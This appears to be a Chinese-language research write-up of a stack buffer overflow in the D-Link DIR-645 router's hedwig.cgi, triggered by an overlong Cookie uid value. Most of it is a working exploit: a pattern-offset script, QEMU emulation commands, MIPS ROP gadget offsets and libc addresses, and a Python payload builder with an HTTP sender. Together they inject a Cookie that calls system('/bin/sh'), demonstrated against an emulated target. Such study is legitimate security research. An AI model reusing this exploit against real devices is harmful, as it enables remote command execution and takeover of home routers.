https://www.rapid7.de/db/modules/exploit/linux/http/dlink_hedwig_cgi_bof這個棧溢出的原因是由於cookie的值過長導致的棧溢出。服務端取得客戶端請求的HTTP頭中Cookie欄位中uid的值,格式化到棧上導致溢出。通過對漏洞點進行分析,搭建模擬環境並完成整個漏洞利用過程。
(文章中有不足之處,還請各位朋友多多指教,也歡迎對iot安全感興趣的朋友加入我們,共同研究)使用firmware-mod-kit/extract-firmware.sh 將固件中的文件系統提取出來
oit@ubuntu:~/0dayTest/dir645$ ~/tools/firmware-mod-kit/extract-firmware.sh ./dir645_FW_103.bin該漏洞的核心組件為 dir645_FW_103/rootfs$ ./htdocs/web/hedwig.cgi
查看hedwig.cgi 文件:
可以看出,漏洞組件hedwig.cgi 是一個指向 ./htdocs/cgibin 的符號連結,也就是說真正的漏洞代碼在cgibin中。
漏洞產生的原因是Cookie的值超長,接下來,我們就具體定位和分析漏洞產生原因。
因為hedwig.cgi 是一個指向 ./htdocs/cgibin 的符號連結,所有我們使用IDA 加載/htdocs/cgibin。
Shift+F12 打開 Strings window,搜索 HTTP_COOKIE,定位到其在rodata中具體位置,並查看其交叉引用信息:sess_get_uid+6C,定位進去可以發現 getenv(「HTTP_COOKIE」) 獲取環境變量繼續定位 sess_get_uid 的引用,上下查看得知,getenv(「HTTP_COOKIE」) 作為 sprintf 函數的參數:向上追溯$s1: $a0 : ($sp, 0x4E8+var_428)sprintf(($sp,0x4E8+var_428),」%s/%s/postxml」,」/runtime/session」,getenv(「HTTP_COOKIE」))至此,我們可知,sprintf 格式化之後的數據保存到 $a0 對應的棧中,而$a0 所對應的的棧的大小有限,並且沒有對 getenv(「HTTP_COOKIE」) 獲取的數據進行檢查,因此,如果getenv(「HTTP_COOKIE」) 所獲取的環境變量數據足夠長,就可以造成棧緩衝區溢出,進而覆蓋保存在棧區中的 $ra,$fp等值。***** patternLocOffset.py ************'''生成定位字符串:輪子直接使用'''
import argparseimport structimport binasciiimport stringimport sysimport reimport timea ="ABCDEFGHIJKLMNOPQRSTUVWXYZ"b ="abcdefghijklmnopqrstuvwxyz"c = "0123456789"def generate(count,output): codeStr ='' print '[*] Create pattern string contains %d characters'%count timeStart = time.time() for i in range(0,count): codeStr += a[i/(26*10)] + b[(i%(26*10))/10] + c[i%(26*10)%10] print 'ok!' if output: print '[+] output to %s'%output fw = open(output,'w') fw.write(codeStr) fw.close() print 'ok!' else: return codeStr print "[+] take time: %.4f s"%(time.time()-timeStart)
def patternMatch(searchCode, length=1024):
offset = 0 pattern = None
timeStart = time.time() is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode) isHex = re.match('^[0-9a-fA-F]{8}',searchCode)
if is0xHex: pattern = binascii.a2b_hex(searchCode[2:]) elif isHex: pattern = binascii.a2b_hex(searchCode) else: print '[-] seach Pattern eg:0x41613141' sys.exit(1)
source = generate(length,None) offset = source.find(pattern)
if offset != -1: print "[*] Exact match at offset %d" % offset else: print "[*] No exact matches, looking for likely candidates..." reverse = list(pattern) reverse.reverse() pattern = "".join(reverse) offset = source.find(pattern)
if offset != -1: print "[+] Possible match at offset %d (adjusted another-endian)" % offset
print "[+] take time: %.4f s" % (time.time() - timeStart)
def mian(): ''' parse argument ''' parser = argparse.ArgumentParser() parser.add_argument('-s', '--search', help='search for pattern') parser.add_argument('-c', '--create', help='create a pattern',action='store_true') parser.add_argument('-f','--file',help='output file name',default='patternShell.txt') parser.add_argument('-l', '--length', help='length of pattern code',type=int, default=1024) args = parser.parse_args() ''' save all argument ''' length= args.length output = args.file createCode = args.create searchCode = args.search
if createCode and (0 <args.length <= 26*26*10): generate(length,output) elif searchCode and (0 <args.lnegth <=26*26*10): patternMatch(searchCode,length) else: print '[-] You shoud chices from [-c -s]' print '[-] Pattern length must be less than 6760' print 'more help: pattern.py -h'
if __name__ == "__main__": if __name__ == '__main__': mian()
****** pentest_cgi.sh *****************TEST=$(python2.7 -c "print'uid='+open('dir645_patternLocOffset_test','r').read()")echo $TESTLEN=$(echo -n $TEST|wc -c)echo $LENsudo cp $(which qemu-mipsel) ./sudo chroot $PWD /qemu-mipsel-static -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$TEST -E CONTENT_LENGTH=$LEN -E REQUEST_URI="/hedwig.cgi" -E REQUEST_METHOD="POST" -E REMOTE_ADDR="192.168.126.139" -g 2234 /htdocs/web/hedwig.cgi*****************************************~/0dayTest$ sudo python2.7 ./patternLocOffset.py -c -l 2000 -f dir645_patternLocOffset_test(2) 執行pentest_cgi.sh 定位字符串,設置環境變量,模擬真實的運行環境oit@ubuntu:~/0dayTest$./pentest_cgi.sh在 .text:0040C5B8 lw $ra, 0x4E4($sp) 處下斷點,執行:按F7單步,可以看到RA的值為 $ra:0x38694237,改變了$ra的值在填充文件 dir645_patternLocOffset_test 中搜索 0x38694237:oit@ubuntu:~/0dayTest$ python2.7 patternLocOffset.py -s 0x38694237 -l 2000
[*] Create pattern string contains 2000 characters
ok!
[+] Possible match at offset 1043 (adjusted another-endian)
[+] take time: 0.0014 s4. 構造ROP Chain:實現system函數的調用
system 在 libc.so.0中,使用IDA打開,找到system函數,查看其偏移為:0x53200找到system函數地址以後,搜索可以調用system的指令。使用IDA插件「MIPS ROP Finder」在libc.so.0中搜索調用system函數的指令。
輸入:mipsrop.stackfinder()
0x159cc處的指令序列,現將$sp + 0x10地址存入寄存器$s5中,而在偏移0x159E0處將$s5 作為參數存入$a0,也就是說,這裡需要將第一步得到的system 地址填充到$s0中,然後在$sp + 0x10處填充需要執行的命令,即可實現對system("command")函數的調用。
(3) 查看系統加載libc.so.0 動態庫時的基地址:通過 qemu-system-mipsel 啟動mipsel 模擬系統
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -net nic,macaddr=00:0c:29:d4:72:11 -net tap -nographic動態調試:
查看進程內存映射:
lrwxrwxrwx 1 root root 21 libc.so.0 -> libuClibc-0.9.30.1.so
libc.so.0的基地址為:
libc = 0x77f34000
1 原因
系統加載libc.so.0動態庫時的基地址為 0x77f34000,所以system函數的實際地址為:
0x77f34000 + 0x53200 = 0x77F87200因為system實際地址的最低位為0x00,在使用sprintf函數時可能被截斷,造成緩衝區溢出失敗。
2 解決方法:
將$s0 覆蓋為 0x77F871FF(0x77f34000 + 0x531FF),然後在libc.so.0中搜索一條指令對$s0進行操作,再跳到「call system」指令。
mipsrop.find("addiu $s0,1")選擇 0x000158C8 處的指令序列:
$ra = 0x77f34000 + 0x000158C8 = 0x77F498C8
$s5 = 0x77f34000 + 0x159cc
$s0 = 0x77f34000 + 0x531FF
.text:000158C8 move $t9, $s5
.text:000158CC jalr $t9
.text:000158D0 addiu $s0, 1
調用system函數:
$s0 = 0x77F87200 :system
$s5 = commandAddr = $sp+0x10 .text:000159CC addiu $s5, $sp, 0x10 .text:000159D0 move $a1, $s3 .text:000159D4 move $a2, $s1 .text:000159D8 move $t9, $s0 .text:000159DC jalr $t9 ; mempcpy .text:000159E0 move $a0, $s5
import sysimport timeimport stringimport socketfrom random import Randomimport urllib, urllib2, httplib
class MIPSPayload: BADBYTES=[0x00] LITTLE = "little" BIG = 'big' FILLER = 'A' BYTES = 4 def __init__(self,libase=0, endianess=LITTLE, badbytes=BADBYTES): self.libase = libase self.shellcode = "" self.endianess = endianess self.badbytes = badbytes def rand_text(self, size): str = '' chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789' length = len(chars) - 1 random = Random() for i in range(size): str += chars[random.randint(0,length)] return str
def Add(self, data): self.shellcode += data
def Address(self, offset, base=None): if base is None: base = self.libase return self.ToString(base + offset)
def AddAddress(self, offset, base=None): self.Add(self.Address(offset, base))
def AddBuffer(self,size, byte=FILLER): self.Add(byte * size)
def AddNops(self, size): if self.endianess == self.LITTLE: self.Add(self.rand_text(size)) else: self.Add(self.rand_text(size))
def ToString(self,value, size= BYTES): data ='' for i in range(0, size): data += chr((value >> (8*i)) & 0xFF) if self.endianess != self.LITTLE: data = data[::-1] return data
def Build(self): count = 0 for c in self.shellcode: for cbyte in self.badbytes: if c == chr(cbyte): raise Exception("Bad byte found in shellcode at offset %d: 0x%.2x"%(count,cbyte)) count +=1 return self.shellcode
def Print(self, bp1=BYTES): i = 0 for c in self.shellcode: if i == 4: print "" i = 0 sys.stdout.write("\\x%.2X"%ord(c)) sys.stdout.flush() if bp1 > 0: i += 1 print "\n"
class HTTP: HTTP = 'http' def __init__(self, host, proto=HTTP, verbose=False): self.host = host self.proto = proto self.verbose = verbose self.encode_params = True
def Encode(self, data): if type(data) == dict: pdata =[] for k in data.keys(): pdata.append(k + '=' + data[k]) data = pdata[1] + '&' + pdata[0] else: data = urllib.quote_plus(data) return data
def Send(self, uri='', headers={}, data=None, response=False, encode_params=True): html = "" if uri.startswith('/'): c = '' else: c = '/' url = '%s://%s'%(self.proto, self.host) uri = '/%s'%uri
if data is not None: data = self.Encode(data) if self.verbose: print url
httpcli = httplib.HTTPConnection(self.host, 80, timeout=30) httpcli.request('POST', uri, data, headers=headers) response=httpcli.getresponse() print response.status print response.read()
if __name__ == '__main__':
libc = 0x77f34000
''' ROP $ra = 0x77f34000 + 0x000158C8
************************************************* $s5 = 0x77f34000 + 0x159cc $s0 = 0x77f34000 + 0x531FF
0x158c8: .text:000158C8 move $t9, $s5 .text:000158CC jalr $t9 .text:000158D0 addiu $s0, 1 ************************************************* $s0 = 0x77F87200 :system $s5 = commandAddr = $sp+0x10
0x159cc: .text:000159CC addiu $s5, $sp, 0x10 .text:000159D0 move $a1, $s3 .text:000159D4 move $a2, $s1 .text:000159D8 move $t9, $s0 .text:000159DC jalr $t9 ; mempcpy ''' target = { "645-1.03":[0x531ff, 0x158c8, 0x159cc], } v = '645-1.03' cmd = '/bin/sh' ip = '192.168.0.1' payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
payload.AddBuffer(1007) payload.AddAddress(target[v][0], base=libc) payload.AddBuffer(4) payload.AddBuffer(4) payload.AddBuffer(4) payload.AddBuffer(4) payload.AddAddress(target[v][2], base=libc) payload.AddBuffer(4) payload.AddBuffer(4) payload.AddBuffer(4) payload.AddAddress(target[v][1], base=libc) payload.AddBuffer(4) payload.AddBuffer(4) payload.AddBuffer(4) payload.AddBuffer(4) payload.Add(cmd)
pdata = { 'uid':'shuidi', 'password':'shuidi', } print payload.shellcode payload = payload.Build() print payload
fw = open('dir645_patternLocOffset_test', 'w') fw.write(payload) fw.close() ''' header = { 'Cookie' : 'uid='+payload.Build(), 'Accept-Encoding' : 'gzip, deflate', 'Content-Type' : 'application/x-www-form-urlencoded', 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' } try: HTTP(ip).Send('hedwig.cgi',data=pdata, headers=header, encode_params=False,response=True) except httplib.BadStatusLine: print "Payload deliverd." except Exception,e: print "2Payload delivery failed: %s" % str(e) '''export TEST=$(python2.7 -c "print uid='+open('dir645_patternLocOffset_test','r').read()+ chr(0)")export CONTENT_TYPE="application/x-www-form-urlencoded"export HTTP_COOKIE=$TESTexport CONTENT_LENGTH=$LENexport REQUEST_URI="/hedwig.cgi"export REQUEST_METHOD="POST"export REMOTE_ADDR="192.168.126.150"python2.7 ./dir645-POC.py
source ./set-environment.sh
chroot $PWD ./gdbserver 192.168.126.150:2345 ./htdocs/web/hedwig.cgi在.text:0040C5E4 jr $ra 處下斷點, F9運行單步執行,跳轉到 libc.so.0 庫 0x158c8 指令集位置處:單步執行,跳轉到 偏移0x159cc 指令序列位置,$t9 = $s0 : 0x77F87200 正確F9,執行system,在終端上執行 ls命令,查看現象:至此,shellcode 成功執行:system("/bin/sh")參考資料:
《揭秘家用路由器0day漏洞挖掘技術》